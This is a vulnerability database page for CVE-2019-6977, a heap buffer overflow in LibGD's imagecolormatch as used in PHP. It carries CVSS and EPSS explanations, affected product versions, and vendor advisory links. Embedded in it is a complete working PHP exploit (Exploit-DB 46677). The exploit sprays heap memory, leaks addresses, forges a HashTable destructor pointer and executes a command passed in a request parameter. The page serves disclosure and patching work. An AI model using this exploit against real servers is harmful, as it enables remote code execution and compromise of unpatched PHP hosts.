CVE-2019-6977 : Detail

CVE-2019-6977

8.8
/
HIGH
Overflow
71.41%V3
Network
2019-01-27 01:00 +00:00
2020-03-30 23:06 +00:00

Alert for a CVE

Stay informed of any changes for a specific CVE.
Alert management

Descriptions

gdImageColorMatch in gd_color_match.c in the GD Graphics Library (aka LibGD) 2.2.5, as used in the imagecolormatch function in PHP before 5.6.40, 7.x before 7.1.26, 7.2.x before 7.2.14, and 7.3.x before 7.3.1, has a heap-based buffer overflow. This can be exploited by an attacker who is able to trigger imagecolormatch calls with crafted image data.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metric Score Severity CVSS Vector Source
V3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 46677

Publication date : 2019-02-26 23:00 +00:00
Author : cfreal
EDB Verified : No

&c= # Example: GET/POST /exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi # # Target: PHP 7.2.x # Tested on: PHP 7.2.12 # /* buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0); for (x=0; xsx; x++) { for( y=0; ysy; y++ ) { color = im2->pixels[y][x]; rgb = im1->tpixels[y][x]; bp = buf + (color * 5); (*(bp++))++; *(bp++) += gdTrueColorGetRed(rgb); *(bp++) += gdTrueColorGetGreen(rgb); *(bp++) += gdTrueColorGetBlue(rgb); *(bp++) += gdTrueColorGetAlpha(rgb); } The buffer is written to by means of a color being the index: color = im2->pixels[y][x]; .. bp = buf + (color * 5); */ # # The bug allows us to increment 5 longs located after buf in memory. # The first long is incremented by one, others by an arbitrary value between 0 # and 0xff. # error_reporting(E_ALL); define('OFFSET_STR_VAL', 0x18); define('BYTES_PER_COLOR', 0x28); class Nenuphar extends DOMNode { # Add a property so that std.properties is created function __construct() { $this->x = '1'; } # Define __get # => ce->ce_flags & ZEND_ACC_USE_GUARDS == ZEND_ACC_USE_GUARDS # => zend_object_properties_size() == 0 # => sizeof(intern) == 0x50 function __get($x) { return $this->$x; } } class Nenuphar2 extends DOMNode { function __construct() { $this->x = '2'; } function __get($x) { return $this->$x; } } function ptr2str($ptr, $m=8) { $out = ""; for ($i=0; $i<$m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function str2ptr(&$str, $p, $s=8) { $address = 0; for($j=$p+$s-1;$j>=$p;$j--) { $address <<= 8; $address |= ord($str[$j]); } return $address; } # Spray stuff so that we get concurrent memory blocks for($i=0;$i<100;$i++) ${'spray'.$i} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL); for($i=0;$i<100;$i++) ${'sprayx'.$i} = str_repeat(chr($i), 12 * BYTES_PER_COLOR - OFFSET_STR_VAL); # # #1: Address leak # We want to obtain the address of a string so that we can make # the Nenuphar.std.properties HashTable* point to it and hence control its # structure. # # We create two images $img1 and $img2, both of 1 pixel. # The RGB bytes of the pixel of $img1 will be added to OOB memory because we set # $img2 to have $nb_colors images and we set its only pixel to color number # $nb_colors. # $nb_colors = 12; $size_buf = $nb_colors * BYTES_PER_COLOR; # One pixel image so that the double loop iterates only once $img1 = imagecreatetruecolor(1, 1); # The three RGB values will be added to OOB memory # First value (Red) is added to the size of the zend_string structure which # lays under buf in memory. $color = imagecolorallocate($img1, 0xFF, 0, 0); imagefill($img1, 0, 0, $color); $img2 = imagecreate(1, 1); # Allocate $nb_colors colors: |buf| = $nb_colors * BYTES_PER_COLOR = 0x1e0 # which puts buf in 0x200 memory blocks for($i=0;$i<$nb_colors;$i++) imagecolorallocate($img2, 0, 0, $i); imagesetpixel($img2, 0, 0, $nb_colors + 1); # Create a memory layout as such: # [z: zend_string: 0x200] # [x: zend_string: 0x200] # [y: zend_string: 0x200] $z = str_repeat('Z', $size_buf - OFFSET_STR_VAL); $x = str_repeat('X', $size_buf - OFFSET_STR_VAL); $y = str_repeat('Y', $size_buf - OFFSET_STR_VAL); # Then, we unset z and call imagecolormatch(); buf will be at z's memory # location during the execution # [buf: long[] : 0x200] # [x: zend_string: 0x200] # [y: zend_string: 0x200] # # We can write buf + 0x208 + (0x08 or 0x10 or 0x18) # buf + 0x208 + 0x08 is X's zend_string.len unset($z); imagecolormatch($img1, $img2); # Now, $x's size has been increased by 0xFF, so we can read further in memory. # # Since buf was the last freed block, by unsetting y, we make its first 8 bytes # point to the old memory location of buf # [free: 0x200] <-+ # [x: zend_string: 0x200] | # [free: 0x200] --+ unset($y); # We can read those bytes because x's size has been increased $z_address = str2ptr($x, 488) + OFFSET_STR_VAL; # Reset both these variables so that their slot cannot be "stolen" by other # allocations $y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8); # Now that we have z's address, we can make something point to it. # We create a fake HashTable structure in Z; when the script exits, each element # of this HashTable will be destroyed by calling ht->pDestructor(element) # The only element here is a string: "id" $z = # refcount ptr2str(1) . # u-nTableMask meth ptr2str(0) . # Bucket arData ptr2str($z_address + 0x38) . # uint32_t nNumUsed; ptr2str(1, 4) . # uint32_t nNumOfElements; ptr2str(1, 4) . # uint32_t nTableSize ptr2str(0, 4) . # uint32_t nInternalPointer ptr2str(0, 4) . # zend_long nNextFreeElement ptr2str(0x4242424242424242) . # dtor_func_t pDestructor ptr2str(hexdec($_REQUEST['f'])) . str_pad($_REQUEST['c'], 0x100, "\x00") . ptr2str(0, strlen($y) - 0x38 - 0x100); ; # At this point we control a string $z and we know its address: we'll make an # internal PHP HashTable structure point to it. # # #2: Read Nenuphar.std.properties # # The tricky part here was to find an interesting PHP structure that is # allocated in the same fastbins as buf, so that we can modify one of its # internal pointers. Since buf has to be a multiple of 0x28, I used dom_object, # whose size is 0x50 = 0x28 * 2. Nenuphar is a subclass of dom_object with just # one extra method, __get(). # php_dom.c:1074: dom_object *intern = ecalloc(1, sizeof(dom_object) + zend_object_properties_size(class_type)); # Since we defined a __get() method, zend_object_properties_size(class_type) = 0 # and not -0x10. # # zend_object.properties points to an HashTable. Controlling an HashTable in PHP # means code execution since at the end of the script, every element of an HT is # destroyed by calling ht.pDestructor(ht.arData[i]). # Hence, we want to change the $nenuphar.std.properties pointer. # # To proceed, we first read $nenuphar.std.properties, and then increment it # by triggering the bug several times, until # $nenuphar.std.properties == $z_address # # Sadly, $nenuphar.std.ce will also get incremented by one every time we trigger # the bug. This is due to (*(bp++))++ (in gdImageColorMatch). # To circumvent this problem, we create two classes, Nenuphar and Nenuphar2, and # instanciate them as $nenuphar and $nenuphar2. After we're done changing the # std.properties pointer, we trigger the bug more times, until # $nenuphar.std.ce == $nenuphar2.std.ce2 # # This way, $nenuphar will have an arbitrary std.properties pointer, and its # std.ce will be valid. # # Afterwards, we let the script exit, which will destroy our fake hashtable (Z), # and therefore call our arbitrary function. # # Here we want fastbins of size 0x50 to match dom_object's size $nb_colors = 2; $size_buf = $nb_colors * BYTES_PER_COLOR; $img1 = imagecreatetruecolor(1, 1); # The three RGB values will be added to OOB memory # Second value (Green) is added to the size of the zend_string structure which # lays under buf in memory. $color = imagecolorallocate($img1, 0, 0xFF, 0); imagefill($img1, 0, 0, $color); # Allocate 2 colors so that |buf| = 2 * 0x28 = 0x50 $img2 = imagecreate(1, 1); for($i=0;$i<$nb_colors;$i++) imagecolorallocate($img2, 0, 0, $i); $y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8); $x = str_repeat('X', $size_buf - OFFSET_STR_VAL - 8); $nenuphar = new Nenuphar(); $nenuphar2 = new Nenuphar2(); imagesetpixel($img2, 0, 0, $nb_colors); # Unsetting the first string so that buf takes its place unset($y); # Trigger the bug: $x's size is increased by 0xFF imagecolormatch($img1, $img2); $ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28); $ce2_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + $size_buf + 0x28); $props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38); print('Nenuphar.ce: 0x' . dechex($ce1_address) . "\n"); print('Nenuphar2.ce: 0x' . dechex($ce2_address) . "\n"); print('Nenuphar.properties: 0x' . dechex($props_address) . "\n"); print('z.val: 0x' . dechex($z_address) . "\n"); print('Difference: 0x' . dechex($z_address-$props_address) . "\n"); if( $ce2_address - $ce1_address < ($z_address-$props_address) / 0xff || $z_address - $props_address < 0 ) { print('That won\'t work'); exit(0); } # # #3: Modifying Nenuphar.std.properties and Nenuphar.std.ce # # Each time we increment Nenuphar.properties by an arbitrary value, ce1_address # is also incremented by one because of (*(bp++))++; # Therefore after we're done incrementing props_address to z_address we need # to increment ce1's address one by one until Nenuphar1.ce == Nenuphar2.ce # The memory structure we have ATM is OK. We can just trigger the bug again # until Nenuphar.properties == z_address $color = imagecolorallocate($img1, 0, 0xFF, 0); imagefill($img1, 0, 0, $color); imagesetpixel($img2, 0, 0, $nb_colors + 3); for($current=$props_address+0xFF;$current<=$z_address;$current+=0xFF) { imagecolormatch($img1, $img2); $ce1_address++; } $color = imagecolorallocate($img1, 0, $z_address-$current+0xff, 0); imagefill($img1, 0, 0, $color); $current = imagecolormatch($img1, $img2); $ce1_address++; # Since we don't want to touch other values, only increase the first one, we set # the three colors to 0 $color = imagecolorallocate($img1, 0, 0, 0); imagefill($img1, 0, 0, $color); # Trigger the bug once to increment ce1 by one. while($ce1_address++ < $ce2_address) { imagecolormatch($img1, $img2); } # Read the string again to see if we were successful $new_ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28); $new_props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38); if($new_ce1_address == $ce2_address && $new_props_address == $z_address) { print("\nExploit SUCCESSFUL !\n"); } else { print('NEW Nenuphar.ce: 0x' . dechex($new_ce1_address) . "\n"); print('NEW Nenuphar.std.properties: 0x' . dechex($new_props_address) . "\n"); print("\nExploit FAILED !\n"); }

Products Mentioned

Configuraton 0

Libgd>>Libgd >> Version 2.2.5

Configuraton 0

Php>>Php >> Version To (excluding) 5.6.40

Php>>Php >> Version From (including) 7.0.0 To (excluding) 7.1.26

Php>>Php >> Version From (including) 7.2.0 To (excluding) 7.2.14

Php>>Php >> Version 7.3.0

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 18.04

Canonical>>Ubuntu_linux >> Version 18.10

Configuraton 0

Netapp>>Storage_automation_store >> Version *

References

http://www.securityfocus.com/bid/106731
Tags : vdb-entry, x_refsource_BID
http://php.net/ChangeLog-5.php
Tags : x_refsource_MISC
http://php.net/ChangeLog-7.php
Tags : x_refsource_MISC
https://usn.ubuntu.com/3900-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://www.debian.org/security/2019/dsa-4384
Tags : vendor-advisory, x_refsource_DEBIAN
https://security.gentoo.org/glsa/201903-18
Tags : vendor-advisory, x_refsource_GENTOO
https://www.exploit-db.com/exploits/46677/
Tags : exploit, x_refsource_EXPLOIT-DB
https://access.redhat.com/errata/RHSA-2019:2519
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:3299
Tags : vendor-advisory, x_refsource_REDHAT
Click on the button to the left (OFF), to authorize the inscription of cookie improving the functionalities of the site. Click on the button to the left (Accept all), to unauthorize the inscription of cookie improving the functionalities of the site.